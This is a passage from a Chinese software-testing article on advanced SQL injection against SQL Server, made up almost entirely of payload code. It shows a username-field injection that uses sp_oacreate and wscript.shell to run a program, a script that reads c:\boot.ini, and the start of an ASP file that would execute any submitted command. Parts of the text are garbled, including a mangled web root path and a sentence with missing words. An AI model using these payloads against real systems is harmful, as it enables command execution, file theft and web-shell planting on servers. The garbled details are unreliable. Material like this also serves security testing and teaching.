軟件測試開發技術SQL Server應用程序中的高級SQL注入

　　wscript.shell example

　　declare @o int

　　exec sp_oacreate 'wscript.shell',@o out

　　exec sp_oamethod @o,'run',NULL,'notepad.exe'

　　我們可以通過指定在用戶名后面來執行它:

　　Username:'; declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'notepad.exe'—

　　(2)這個例子使用'scripting.filesystemobject'對象讀一個已知的文本文件:

　　--scripting.filesystemobject example – read a known file

　　declare @o int, @f int, @t int, @ret int

　　declare @line varchar(8000)

　　exec sp_oacreate 'scripting.filesystemobject', @o out

　　exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1

　　exec @ret=sp_oamethod @f,'readline',@line out

　　while(@ret=0)

　　begin

　　print @line

　　exec @ret=sp_oamethod @f,'readline',@line out

　　end

　　(3)這個例子創建了一個能執行通過提交到的任何命令:

　　-- scripting.filesystemobject example – create a 'run this'.asp file

　　declare @o int,@f int,@t int,@ret int

　　exec sp_oacreate 'scripting.filesystemobject',@o out

　　exec sp_oamethod @o,'createtextfile',@f out,'c:\.netpub\wwwroot\foo.asp',1

文章來源于領測軟件測試網 http://www.kjueaiud.com/